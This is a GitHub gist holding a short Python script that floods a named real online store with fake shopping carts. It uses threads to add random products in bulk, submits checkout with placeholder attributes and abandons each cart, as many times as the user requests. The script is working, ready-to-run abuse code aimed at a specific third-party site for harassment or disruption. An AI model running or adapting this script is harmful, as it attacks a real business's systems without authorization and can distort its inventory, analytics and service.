Skip to content

Instantly share code, notes, and snippets.

@camila314
Created June 27, 2020 02:51
Show Gist options
  • Save camila314/8db3773a6a7908ae7b74960ab7a10866 to your computer and use it in GitHub Desktop.
Save camila314/8db3773a6a7908ae7b74960ab7a10866 to your computer and use it in GitHub Desktop.
Script to automatically create and abandon shopping carts for Donald Trump's store
import requests
import random
import time
import threading
print("Donald Trump store cart abandoner v1.0")
print("by camden314")
# giant list of items you can get at trump store
possible_items = (4524625264755,31801977766003,6783322587251,6783354634355,6783369019507,4474871283827,31600315072627,6484536361075,6484536328307,
6484541177971,4501031190643,31701156298867,6613217345651,3927766433907,29394657771635,2281807609971,5546385571955,3868052291699,
29195047141491,2242228158579,5565487317107,4329346105459,31073295368307,5539652141171,5546293231731,4334206976115,31090910789747,
6211730800755,5552610771059,6211734798451,4329760981107,31075498786931,5539685826675,5552517480563,4329737158771,31075358605427,
5540602249331,5526916563059,5552775659635,3868047245427,29195039735923,2242229993587,5565437247603,3868073295987,29195079417971,
2278565642355,5546378887283,3868049277043,29195042357363,2242334818419,5565518413939,189696134,4524625264755,31801977766003,
6783322587251,6783354634355,6783369019507,4474871283827,31600315072627,6484536361075,6484536328307,6484541177971,4501031190643,
31701156298867,6613217345651,3927766433907,29394657771635,2281807609971,5546385571955,3868052291699,29195047141491,2242228158579,
5565487317107,4329346105459,31073295368307,5539652141171,5546293231731,4334206976115,31090910789747,6211730800755,5552610771059,
6211734798451,4329760981107,31075498786931,5539685826675,5552517480563,4329737158771,31075358605427,5540602249331,5526916563059,
5552775659635,3868047245427,2242229993587,5565437247603,3868073295987,29195079417971,2278565642355,5546378887283,3868049277043,
29195042357363,2242334818419,5565518413939,189696134,4423640219763,31442325471347,6159462236275,6159462269043,6159462301811,
6159462203507,6159464759411,4496798941299,31681077608563,6584204755059,6584204787827,6584204820595,6584204722291,6584209801331,
4474976993395,31600841818227,6510376878195,6510376845427,6510372028531,4475271839859,31601433313395,6510427668595,6510427701363,
6510425505907,4475257127027,31601412112499,6510436745331,6510436712563,6510436089971,4475240382579,31601381507187,6510431273075,
6510431240307,6510433468531,4475207090291,31601329635443,6510420230259,6510420263027,6510422425715,4474984857715,31600868196467,
6510362984563,6510362951795,6510362919027,6510365278323,4432712728691,31467347214451,6230776742003,6230776774771,6230776807539,
6230776709235,6230778282099,4432718987379,31467363631219,6230829695091,6230829760627,6230829793395,6230829662323,6230832087155,
9029340294,32905075590,50419400819,50419433587,50419499123,50419466355,5568598802547,9040359366,32971682886,50523144307,50523177075,
50523209843,50523242611,5568604012659)
count=0
def shopping_abandon():
global count
trump_store = requests.Session()
#start the shopping cart session
trump_store.get("https://shop.donaldjtrump.com/collections/gifts")
# add a bunch of items
for _ in range(10):
product = random.choice(possible_items)
trump_store.post('https://shop.donaldjtrump.com/cart/add',files={'add':(None,""), 'quantity':(None,30), 'id':(None,product)})
# checkout
trump_store.post('https://shop.donaldjtrump.com/cart',data={'attributes[Occupation]':'unemployed', 'attributes[Employer]':'unemployed'})
# abandon it
print(f' Carts Abandoned: {count}',end='\r')
count+=1
del trump_store
for _ in range(int(input('How many carts do you want to abandon?:'))):
threading.Thread(target=shopping_abandon).start()
time.sleep(0.5)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment